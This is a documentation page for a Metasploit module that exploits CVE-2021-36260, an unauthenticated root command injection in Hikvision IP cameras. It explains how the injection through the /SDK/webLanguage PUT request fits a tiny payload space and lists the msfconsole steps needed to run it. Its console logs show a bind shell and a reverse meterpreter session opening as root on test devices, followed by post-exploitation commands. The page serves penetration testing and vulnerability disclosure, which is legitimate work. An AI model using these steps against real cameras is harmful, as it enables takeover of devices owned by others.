Hikvision IP Camera Unauthenticated Command Injection - Metasploit


This page contains detailed information about how to use the exploit/linux/http/hikvision_cve_2021_36260_blind metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Hikvision IP Camera Unauthenticated Command Injection
Module: exploit/linux/http/hikvision_cve_2021_36260_blind
Source code: modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb
Disclosure date: 2021-09-18
Last modification time: 2022-02-25 08:32:06 +0000
Supported architecture(s): cmd, armle
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-36260

This module exploits an unauthenticated command injection in a variety of Hikvision IP cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an HTTP PUT request sent to the /SDK/webLanguage endpoint, resulting in command execution as the root user. This module specifically attempts to exploit the blind variant of the attack. The module was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725. Please see the Hikvision advisory for a full list of affected products.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/linux/http/hikvision_cve_2021_36260_blind
msf exploit(hikvision_cve_2021_36260_blind) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


Description

This module exploits an unauthenticated command injection in a variety of Hikvision IP cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an HTTP PUT request sent to the /SDK/webLanguage endpoint, resulting in command execution as the root user.

This module specifically attempts to exploit the blind variant of the attack. The module was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725. Please see the Hikvision advisory for a full list of affected products.

The injection space is very small. The entire snprintf is 0x1f bytes and the format string is:

/dav/%s.tar.gz

Which accounts for 12 bytes, leaving only 19 bytes for our payload. Fortunately, snprintf will let us reclaim '.tar.gz' so in reality, there are 26 bytes for our payload. We need 3 bytes to invoke our injection: $(). Leaving 23 bytes for payload. The 'echo' stager has a minimum of 26 bytes but we obviously don't have that much space. We can steal the extra space from the "random" file name and compress ' >> ' to '>>'. That will get us below 23. Squeezing the extra bytes will also allow printf stager to do more than 1 byte per exploitation.

Installation

Hikvision cameras are physical devices and aren't known to have been successfully emulated. Actually, they are fairly well known for having encrypted firmware. Either way, if you have a device, you can determine if you have an affected device/firmware by referencing the table in the Hikvision advisory.

Verification Steps


  • Acquire an affected device
  • Do: use exploit/linux/http/hikvision_cve_2021_36260_blind
  • Do: set RHOST <ip>
  • Do: check
  • Verify the remote target is flagged as vulnerable
  • Do: set LHOST <ip>
  • Do: exploit
  • You should get a bind shell.

Options


Target 0

Target 0 is a busybox telnetd bind shell.

Target 1

Target 1 is a the reverse tcp meterpreter stager. Because the payload space is so small it takes quite a few requests to upload the stager and execute it (100+).

Scenarios


Hikvision HWI-B120-D/W using firmware V5.5.101 build 200408. Root shell via bind shell.

msf6 > use exploit/linux/http/hikvision_cve_2021_36260_blind
[*] Using configured payload cmd/unix/bind_busybox_telnetd
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set RHOST 10.0.0.8
RHOST => 10.0.0.8
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > check
[*] 10.0.0.8:80 - The target appears to be vulnerable. As determined by HTTP status replies.
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set LHOST 10.0.0.7
LHOST => 10.0.0.7
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. As determined by HTTP status replies.
[*] Executing Unix Command for cmd/unix/bind_busybox_telnetd
[*] Started bind TCP handler against 10.0.0.8:4444
[*] Command shell session 1 opened (10.0.0.7:33867 -> 10.0.0.8:4444 ) at 2022-02-19 12:22:22 -0800


Shell Banner:
_
-----


# cat /proc/cpuinfo
cat /proc/cpuinfo
Processor       : CK810 rev 7 (v10l)
BogoMIPS        : 597.60
Features        : swp half thumb fastmult vfp edsp java 
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x0
CPU part        : 0xb76
CPU revision    : 7

Hardware        : FH8856
Revision        : 0000
Serial          : 0000000000000000
# pwd
pwd
/home

Hikvision DS-2CD2142FWD-I using firmware V5.5.0 build 170725 (unaffected). Failed exploitation.

msf6 > use exploit/linux/http/hikvision_cve_2021_36260_blind
[*] Using configured payload cmd/unix/bind_busybox_telnetd
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set RHOST 192.168.1.64
RHOST => 192.168.1.64
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > check
[*] 192.168.1.64:80 - The target is not exploitable. The target did not execute the provided sleep command.
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set LHOST 10.0.0.7
LHOST => 10.0.0.7
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The target did not execute the provided sleep command. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set AutoCheck false
AutoCheck => false
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > run

[!] AutoCheck is disabled, proceeding with exploitation
[*] Executing Unix Command for cmd/unix/bind_busybox_telnetd
[*] Started bind TCP handler against 192.168.1.64:4444
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > 

Hikvision HWI-B120-D/W using firmware V5.5.101 build 200408. Root meterpreter shell.

msf6 > use exploit/linux/http/hikvision_cve_2021_36260_blind
[*] Using configured payload cmd/unix/bind_busybox_telnetd
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set RHOST 10.0.0.8
RHOST => 10.0.0.8
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > check
[*] 10.0.0.8:80 - The target appears to be vulnerable. As determined by HTTP status replies.
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set LHOST 10.0.0.7
LHOST => 10.0.0.7
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set target 1
target => 1
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > run

[*] Started reverse TCP handler on 10.0.0.7:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. As determined by HTTP status replies.
[*] Executing Linux Dropper for linux/armle/meterpreter/reverse_tcp
[*] Command Stager progress -   0.38% done (25/6557 bytes)
[*] Command Stager progress -   0.76% done (50/6557 bytes)
[*] Command Stager progress -   1.14% done (75/6557 bytes)
[*] Command Stager progress -   1.53% done (100/6557 bytes)
[*] Command Stager progress -   1.91% done (125/6557 bytes)
[*] Command Stager progress -   2.29% done (150/6557 bytes)
[*] Command Stager progress -   2.67% done (175/6557 bytes)
[*] Command Stager progress -   3.05% done (200/6557 bytes)
[*] Command Stager progress -   3.43% done (225/6557 bytes)
[*] Command Stager progress -   3.81% done (250/6557 bytes)
[*] Command Stager progress -   4.19% done (275/6557 bytes)
[*] Command Stager progress -   4.59% done (301/6557 bytes)
[*] Command Stager progress -   4.97% done (326/6557 bytes)
[*] Command Stager progress -   5.35% done (351/6557 bytes)
[*] Command Stager progress -   5.73% done (376/6557 bytes)
[*] Command Stager progress -   6.12% done (401/6557 bytes)
[*] Command Stager progress -   6.50% done (426/6557 bytes)
[*] Command Stager progress -   6.89% done (452/6557 bytes)
[*] Command Stager progress -   7.27% done (477/6557 bytes)
[*] Command Stager progress -   7.66% done (502/6557 bytes)
[*] Command Stager progress -   8.04% done (527/6557 bytes)
[*] Command Stager progress -   8.42% done (552/6557 bytes)
[*] Command Stager progress -   8.80% done (577/6557 bytes)
[*] Command Stager progress -   9.20% done (603/6557 bytes)
[*] Command Stager progress -   9.59% done (629/6557 bytes)
[*] Command Stager progress -   9.97% done (654/6557 bytes)
[*] Command Stager progress -  10.36% done (679/6557 bytes)
[*] Command Stager progress -  10.74% done (704/6557 bytes)
[*] Command Stager progress -  11.12% done (729/6557 bytes)
[*] Command Stager progress -  11.50% done (754/6557 bytes)
[*] Command Stager progress -  11.88% done (779/6557 bytes)
[*] Command Stager progress -  12.26% done (804/6557 bytes)
[*] Command Stager progress -  12.64% done (829/6557 bytes)
[*] Command Stager progress -  12.99% done (852/6557 bytes)
[*] Command Stager progress -  13.38% done (877/6557 bytes)
[*] Command Stager progress -  13.76% done (902/6557 bytes)
[*] Command Stager progress -  14.11% done (925/6557 bytes)
[*] Command Stager progress -  14.49% done (950/6557 bytes)
[*] Command Stager progress -  14.87% done (975/6557 bytes)
[*] Command Stager progress -  15.25% done (1000/6557 bytes)
[*] Command Stager progress -  15.63% done (1025/6557 bytes)
[*] Command Stager progress -  15.98% done (1048/6557 bytes)
[*] Command Stager progress -  16.36% done (1073/6557 bytes)
[*] Command Stager progress -  16.75% done (1098/6557 bytes)
[*] Command Stager progress -  17.13% done (1123/6557 bytes)
[*] Command Stager progress -  17.51% done (1148/6557 bytes)
[*] Command Stager progress -  17.89% done (1173/6557 bytes)
[*] Command Stager progress -  18.29% done (1199/6557 bytes)
[*] Command Stager progress -  18.64% done (1222/6557 bytes)
[*] Command Stager progress -  19.02% done (1247/6557 bytes)
[*] Command Stager progress -  19.40% done (1272/6557 bytes)
[*] Command Stager progress -  19.78% done (1297/6557 bytes)
[*] Command Stager progress -  20.16% done (1322/6557 bytes)
[*] Command Stager progress -  20.54% done (1347/6557 bytes)
[*] Command Stager progress -  20.92% done (1372/6557 bytes)
[*] Command Stager progress -  21.31% done (1397/6557 bytes)
[*] Command Stager progress -  21.70% done (1423/6557 bytes)
[*] Command Stager progress -  22.08% done (1448/6557 bytes)
[*] Command Stager progress -  22.46% done (1473/6557 bytes)
[*] Command Stager progress -  22.86% done (1499/6557 bytes)
[*] Command Stager progress -  23.24% done (1524/6557 bytes)
[*] Command Stager progress -  23.62% done (1549/6557 bytes)
[*] Command Stager progress -  24.00% done (1574/6557 bytes)
[*] Command Stager progress -  24.36% done (1597/6557 bytes)
[*] Command Stager progress -  24.74% done (1622/6557 bytes)
[*] Command Stager progress -  25.12% done (1647/6557 bytes)
[*] Command Stager progress -  25.50% done (1672/6557 bytes)
[*] Command Stager progress -  25.88% done (1697/6557 bytes)
[*] Command Stager progress -  26.28% done (1723/6557 bytes)
[*] Command Stager progress -  26.63% done (1746/6557 bytes)
[*] Command Stager progress -  27.01% done (1771/6557 bytes)
[*] Command Stager progress -  27.36% done (1794/6557 bytes)
[*] Command Stager progress -  27.74% done (1819/6557 bytes)
[*] Command Stager progress -  28.12% done (1844/6557 bytes)
[*] Command Stager progress -  28.50% done (1869/6557 bytes)
[*] Command Stager progress -  28.85% done (1892/6557 bytes)
[*] Command Stager progress -  29.24% done (1917/6557 bytes)
[*] Command Stager progress -  29.62% done (1942/6557 bytes)
[*] Command Stager progress -  30.00% done (1967/6557 bytes)
[*] Command Stager progress -  30.38% done (1992/6557 bytes)
[*] Command Stager progress -  30.75% done (2016/6557 bytes)
[*] Command Stager progress -  31.13% done (2041/6557 bytes)
[*] Command Stager progress -  31.51% done (2066/6557 bytes)
[*] Command Stager progress -  31.87% done (2090/6557 bytes)
[*] Command Stager progress -  32.24% done (2114/6557 bytes)
[*] Command Stager progress -  32.62% done (2139/6557 bytes)
[*] Command Stager progress -  33.00% done (2164/6557 bytes)
[*] Command Stager progress -  33.38% done (2189/6557 bytes)
[*] Command Stager progress -  33.73% done (2212/6557 bytes)
[*] Command Stager progress -  34.12% done (2237/6557 bytes)
[*] Command Stager progress -  34.50% done (2262/6557 bytes)
[*] Command Stager progress -  34.88% done (2287/6557 bytes)
[*] Command Stager progress -  35.26% done (2312/6557 bytes)
[*] Command Stager progress -  35.66% done (2338/6557 bytes)
[*] Command Stager progress -  36.01% done (2361/6557 bytes)
[*] Command Stager progress -  36.39% done (2386/6557 bytes)
[*] Command Stager progress -  36.79% done (2412/6557 bytes)
[*] Command Stager progress -  37.17% done (2437/6557 bytes)
[*] Command Stager progress -  37.55% done (2462/6557 bytes)
[*] Command Stager progress -  37.90% done (2485/6557 bytes)
[*] Command Stager progress -  38.28% done (2510/6557 bytes)
[*] Command Stager progress -  38.66% done (2535/6557 bytes)
[*] Command Stager progress -  39.04% done (2560/6557 bytes)
[*] Command Stager progress -  39.41% done (2584/6557 bytes)
[*] Command Stager progress -  39.79% done (2609/6557 bytes)
[*] Command Stager progress -  40.17% done (2634/6557 bytes)
[*] Command Stager progress -  40.55% done (2659/6557 bytes)
[*] Command Stager progress -  40.92% done (2683/6557 bytes)
[*] Command Stager progress -  41.28% done (2707/6557 bytes)
[*] Command Stager progress -  41.67% done (2732/6557 bytes)
[*] Command Stager progress -  42.05% done (2757/6557 bytes)
[*] Command Stager progress -  42.44% done (2783/6557 bytes)
[*] Command Stager progress -  42.82% done (2808/6557 bytes)
[*] Command Stager progress -  43.21% done (2833/6557 bytes)
[*] Command Stager progress -  43.60% done (2859/6557 bytes)
[*] Command Stager progress -  43.98% done (2884/6557 bytes)
[*] Command Stager progress -  44.36% done (2909/6557 bytes)
[*] Command Stager progress -  44.75% done (2934/6557 bytes)
[*] Command Stager progress -  45.10% done (2957/6557 bytes)
[*] Command Stager progress -  45.48% done (2982/6557 bytes)
[*] Command Stager progress -  45.86% done (3007/6557 bytes)
[*] Command Stager progress -  46.24% done (3032/6557 bytes)
[*] Command Stager progress -  46.62% done (3057/6557 bytes)
[*] Command Stager progress -  47.02% done (3083/6557 bytes)
[*] Command Stager progress -  47.37% done (3106/6557 bytes)
[*] Command Stager progress -  47.75% done (3131/6557 bytes)
[*] Command Stager progress -  48.15% done (3157/6557 bytes)
[*] Command Stager progress -  48.53% done (3182/6557 bytes)
[*] Command Stager progress -  48.91% done (3207/6557 bytes)
[*] Command Stager progress -  49.29% done (3232/6557 bytes)
[*] Command Stager progress -  49.66% done (3256/6557 bytes)
[*] Command Stager progress -  50.04% done (3281/6557 bytes)
[*] Command Stager progress -  50.42% done (3306/6557 bytes)
[*] Command Stager progress -  50.82% done (3332/6557 bytes)
[*] Command Stager progress -  51.17% done (3355/6557 bytes)
[*] Command Stager progress -  51.55% done (3380/6557 bytes)
[*] Command Stager progress -  51.94% done (3406/6557 bytes)
[*] Command Stager progress -  52.33% done (3431/6557 bytes)
[*] Command Stager progress -  52.71% done (3456/6557 bytes)
[*] Command Stager progress -  53.10% done (3482/6557 bytes)
[*] Command Stager progress -  53.48% done (3507/6557 bytes)
[*] Command Stager progress -  53.87% done (3532/6557 bytes)
[*] Command Stager progress -  54.26% done (3558/6557 bytes)
[*] Command Stager progress -  54.64% done (3583/6557 bytes)
[*] Command Stager progress -  55.03% done (3608/6557 bytes)
[*] Command Stager progress -  55.41% done (3633/6557 bytes)
[*] Command Stager progress -  55.79% done (3658/6557 bytes)
[*] Command Stager progress -  56.17% done (3683/6557 bytes)
[*] Command Stager progress -  56.55% done (3708/6557 bytes)
[*] Command Stager progress -  56.93% done (3733/6557 bytes)
[*] Command Stager progress -  57.31% done (3758/6557 bytes)
[*] Command Stager progress -  57.69% done (3783/6557 bytes)
[*] Command Stager progress -  58.09% done (3809/6557 bytes)
[*] Command Stager progress -  58.47% done (3834/6557 bytes)
[*] Command Stager progress -  58.85% done (3859/6557 bytes)
[*] Command Stager progress -  59.23% done (3884/6557 bytes)
[*] Command Stager progress -  59.60% done (3908/6557 bytes)
[*] Command Stager progress -  59.98% done (3933/6557 bytes)
[*] Command Stager progress -  60.36% done (3958/6557 bytes)
[*] Command Stager progress -  60.71% done (3981/6557 bytes)
[*] Command Stager progress -  61.10% done (4006/6557 bytes)
[*] Command Stager progress -  61.48% done (4031/6557 bytes)
[*] Command Stager progress -  61.86% done (4056/6557 bytes)
[*] Command Stager progress -  62.21% done (4079/6557 bytes)
[*] Command Stager progress -  62.59% done (4104/6557 bytes)
[*] Command Stager progress -  62.97% done (4129/6557 bytes)
[*] Command Stager progress -  63.35% done (4154/6557 bytes)
[*] Command Stager progress -  63.73% done (4179/6557 bytes)
[*] Command Stager progress -  64.08% done (4202/6557 bytes)
[*] Command Stager progress -  64.47% done (4227/6557 bytes)
[*] Command Stager progress -  64.85% done (4252/6557 bytes)
[*] Command Stager progress -  65.23% done (4277/6557 bytes)
[*] Command Stager progress -  65.61% done (4302/6557 bytes)
[*] Command Stager progress -  66.01% done (4328/6557 bytes)
[*] Command Stager progress -  66.40% done (4354/6557 bytes)
[*] Command Stager progress -  66.78% done (4379/6557 bytes)
[*] Command Stager progress -  67.16% done (4404/6557 bytes)
[*] Command Stager progress -  67.55% done (4429/6557 bytes)
[*] Command Stager progress -  67.93% done (4454/6557 bytes)
[*] Command Stager progress -  68.32% done (4480/6557 bytes)
[*] Command Stager progress -  68.71% done (4505/6557 bytes)
[*] Command Stager progress -  69.09% done (4530/6557 bytes)
[*] Command Stager progress -  69.48% done (4556/6557 bytes)
[*] Command Stager progress -  69.86% done (4581/6557 bytes)
[*] Command Stager progress -  70.25% done (4606/6557 bytes)
[*] Command Stager progress -  70.64% done (4632/6557 bytes)
[*] Command Stager progress -  71.02% done (4657/6557 bytes)
[*] Command Stager progress -  71.40% done (4682/6557 bytes)
[*] Command Stager progress -  71.80% done (4708/6557 bytes)
[*] Command Stager progress -  72.18% done (4733/6557 bytes)
[*] Command Stager progress -  72.56% done (4758/6557 bytes)
[*] Command Stager progress -  72.94% done (4783/6557 bytes)
[*] Command Stager progress -  73.31% done (4807/6557 bytes)
[*] Command Stager progress -  73.69% done (4832/6557 bytes)
[*] Command Stager progress -  74.07% done (4857/6557 bytes)
[*] Command Stager progress -  74.47% done (4883/6557 bytes)
[*] Command Stager progress -  74.85% done (4908/6557 bytes)
[*] Command Stager progress -  75.23% done (4933/6557 bytes)
[*] Command Stager progress -  75.61% done (4958/6557 bytes)
[*] Command Stager progress -  76.00% done (4983/6557 bytes)
[*] Command Stager progress -  76.38% done (5008/6557 bytes)
[*] Command Stager progress -  76.76% done (5033/6557 bytes)
[*] Command Stager progress -  77.11% done (5056/6557 bytes)
[*] Command Stager progress -  77.49% done (5081/6557 bytes)
[*] Command Stager progress -  77.87% done (5106/6557 bytes)
[*] Command Stager progress -  78.24% done (5130/6557 bytes)
[*] Command Stager progress -  78.62% done (5155/6557 bytes)
[*] Command Stager progress -  79.00% done (5180/6557 bytes)
[*] Command Stager progress -  79.38% done (5205/6557 bytes)
[*] Command Stager progress -  79.73% done (5228/6557 bytes)
[*] Command Stager progress -  80.11% done (5253/6557 bytes)
[*] Command Stager progress -  80.49% done (5278/6557 bytes)
[*] Command Stager progress -  80.88% done (5303/6557 bytes)
[*] Command Stager progress -  81.26% done (5328/6557 bytes)
[*] Command Stager progress -  81.64% done (5353/6557 bytes)
[*] Command Stager progress -  81.99% done (5376/6557 bytes)
[*] Command Stager progress -  82.37% done (5401/6557 bytes)
[*] Command Stager progress -  82.75% done (5426/6557 bytes)
[*] Command Stager progress -  83.13% done (5451/6557 bytes)
[*] Command Stager progress -  83.51% done (5476/6557 bytes)
[*] Command Stager progress -  83.90% done (5501/6557 bytes)
[*] Command Stager progress -  84.28% done (5526/6557 bytes)
[*] Command Stager progress -  84.64% done (5550/6557 bytes)
[*] Command Stager progress -  85.02% done (5575/6557 bytes)
[*] Command Stager progress -  85.40% done (5600/6557 bytes)
[*] Command Stager progress -  85.79% done (5625/6557 bytes)
[*] Command Stager progress -  86.14% done (5648/6557 bytes)
[*] Command Stager progress -  86.52% done (5673/6557 bytes)
[*] Command Stager progress -  86.90% done (5698/6557 bytes)
[*] Command Stager progress -  87.28% done (5723/6557 bytes)
[*] Command Stager progress -  87.66% done (5748/6557 bytes)
[*] Command Stager progress -  88.04% done (5773/6557 bytes)
[*] Command Stager progress -  88.39% done (5796/6557 bytes)
[*] Command Stager progress -  88.78% done (5821/6557 bytes)
[*] Command Stager progress -  89.13% done (5844/6557 bytes)
[*] Command Stager progress -  89.51% done (5869/6557 bytes)
[*] Command Stager progress -  89.89% done (5894/6557 bytes)
[*] Command Stager progress -  90.27% done (5919/6557 bytes)
[*] Command Stager progress -  90.62% done (5942/6557 bytes)
[*] Command Stager progress -  91.00% done (5967/6557 bytes)
[*] Command Stager progress -  91.38% done (5992/6557 bytes)
[*] Command Stager progress -  91.76% done (6017/6557 bytes)
[*] Command Stager progress -  92.15% done (6042/6557 bytes)
[*] Command Stager progress -  92.53% done (6067/6557 bytes)
[*] Command Stager progress -  92.91% done (6092/6557 bytes)
[*] Command Stager progress -  93.29% done (6117/6557 bytes)
[*] Command Stager progress -  93.64% done (6140/6557 bytes)
[*] Command Stager progress -  94.02% done (6165/6557 bytes)
[*] Command Stager progress -  94.40% done (6190/6557 bytes)
[*] Command Stager progress -  94.77% done (6214/6557 bytes)
[*] Command Stager progress -  95.15% done (6239/6557 bytes)
[*] Command Stager progress -  95.55% done (6265/6557 bytes)
[*] Command Stager progress -  95.93% done (6290/6557 bytes)
[*] Command Stager progress -  96.32% done (6316/6557 bytes)
[*] Command Stager progress -  96.71% done (6341/6557 bytes)
[*] Command Stager progress -  97.06% done (6364/6557 bytes)
[*] Command Stager progress -  97.44% done (6389/6557 bytes)
[*] Command Stager progress -  97.82% done (6414/6557 bytes)
[*] Command Stager progress -  98.20% done (6439/6557 bytes)
[*] Command Stager progress -  98.57% done (6463/6557 bytes)
[*] Command Stager progress -  98.96% done (6489/6557 bytes)
[*] Command Stager progress -  99.31% done (6512/6557 bytes)
[*] Command Stager progress -  99.60% done (6531/6557 bytes)
[*] Sending stage (908480 bytes) to 10.0.0.8
[*] Command Stager progress -  99.76% done (6541/6557 bytes)
[*] Meterpreter session 1 opened (10.0.0.7:4444 -> 10.0.0.8:46414 ) at 2022-02-19 13:10:29 -0800
[*] Command Stager progress - 100.00% done (6557/6557 bytes)

meterpreter > getuid
Server username: root
meterpreter > shell
Process 2331 created.
Channel 1 created.
netstat -tlpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 :::8000                 :::*                    LISTEN      964/davinci
tcp        0      0 :::322                  :::*                    LISTEN      964/davinci
tcp        0      0 :::554                  :::*                    LISTEN      964/davinci
tcp        0      0 :::80                   :::*                    LISTEN      964/davinci
tcp        0      0 :::443                  :::*                    LISTEN      964/davinci

Go back to menu.

Msfconsole Usage


Here is how the linux/http/hikvision_cve_2021_36260_blind exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/hikvision_cve_2021_36260_blind

[*] Using configured payload cmd/unix/bind_busybox_telnetd
msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > show info

       Name: Hikvision IP Camera Unauthenticated Command Injection
     Module: exploit/linux/http/hikvision_cve_2021_36260_blind
   Platform: Unix, Linux
       Arch: cmd, armle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-09-18

Provided by:
  Watchful_IP
  bashis
  jbaines-r7

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Unix Command
  1   Linux Dropper

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      80               yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine
                                         or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       Base path
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits an unauthenticated command injection in a 
  variety of Hikvision IP cameras (CVE-2021-36260). The module inserts 
  a command into an XML payload used with an HTTP PUT request sent to 
  the `/SDK/webLanguage` endpoint, resulting in command execution as 
  the `root` user. This module specifically attempts to exploit the 
  blind variant of the attack. The module was successfully tested 
  against an HWI-B120-D/W using firmware V5.5.101 build 200408. It was 
  also tested against an unaffected DS-2CD2142FWD-I using firmware 
  V5.5.0 build 170725. Please see the Hikvision advisory for a full 
  list of affected products.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-36260
  https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
  https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/security-notification-command-injection-vulnerability-in-some-hikvision-products/
  https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py

Module Options


This is a complete list of options available in the linux/http/hikvision_cve_2021_36260_blind exploit:

msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > show options

Module options (exploit/linux/http/hikvision_cve_2021_36260_blind):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machin
                                         e or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Payload options (cmd/unix/bind_busybox_telnetd):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   LOGIN_CMD  sh               yes       Command telnetd will execute on connect
   LPORT      4444             yes       The listen port
   RHOST                       no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Unix Command

Advanced Options


Here is a complete list of advanced options supported by the linux/http/hikvision_cve_2021_36260_blind exploit:

msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > show advanced

Module advanced options (exploit/linux/http/hikvision_cve_2021_36260_blind):

   Name                    Current Setting                     Required  Description
   ----                    ---------------                     --------  -----------
   AllowNoCleanup          false                               no        Allow exploitation without the possibility of cleaning up fil
                                                                         es
   AutoCheck               true                                no        Run check before exploit
   CMDSTAGER::DECODER                                          no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                                no        The CMD Stager to use. (Accepted: auto, printf, echo)
   CMDSTAGER::SSL          false                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                             no        Writable directory for staged files
   ContextInformationFile                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                no        Conform to IIS, should work for most servers. Only set to fal
                                                                         se for non-IIS servers
   DisablePayloadHandler   false                               no        Disable the handler code for the selected payload
   EXE::Custom                                                 no        Use custom exe instead of automatically generating a payload
                                                                         exe
   EXE::EICAR              false                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                   no        The directory in which to look for the executable template
   EXE::Template                                               no        The executable template file name.
   EnableContextEncoding   false                               no        Use transient context when encoding payloads
   FileDropperDelay                                            no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                               no        Override check result
   HttpClientTimeout                                           no        HTTP connection and receive timeout
   HttpPassword                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                              no        Path to ERB-templatized raw headers to append to existing hea
                                                                         ders
   HttpTrace               false                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                             no        HTTP request and response colors for HttpTrace (unset to disa
                                                                         ble)
   HttpTraceHeadersOnly    false                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                no        The HTTP username to specify for authentication
   ListenerComm                                                no        The specific communication channel to use for this service
   MSI::Custom                                                 no        Use custom msi instead of automatically generating a payload
                                                                         msi
   MSI::EICAR              false                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                   no        The directory in which to look for the msi template
   MSI::Template                                               no        The msi template file name
   MSI::UAC                false                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accep
                                                                         ted)
   SSLCipher                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL2
                                                                         3 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1
                                                                         , TLS1.1, TLS1.2)
   SendRobots              false                               no        Return a robots.txt file if asked for one
   URIHOST                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/5.0 (iPad; CPU OS 15_3_1 l  no        The User-Agent header to use for all requests
                           ike Mac OS X) AppleWebKit/605.1.15
                            (KHTML, like Gecko) Version/15.2
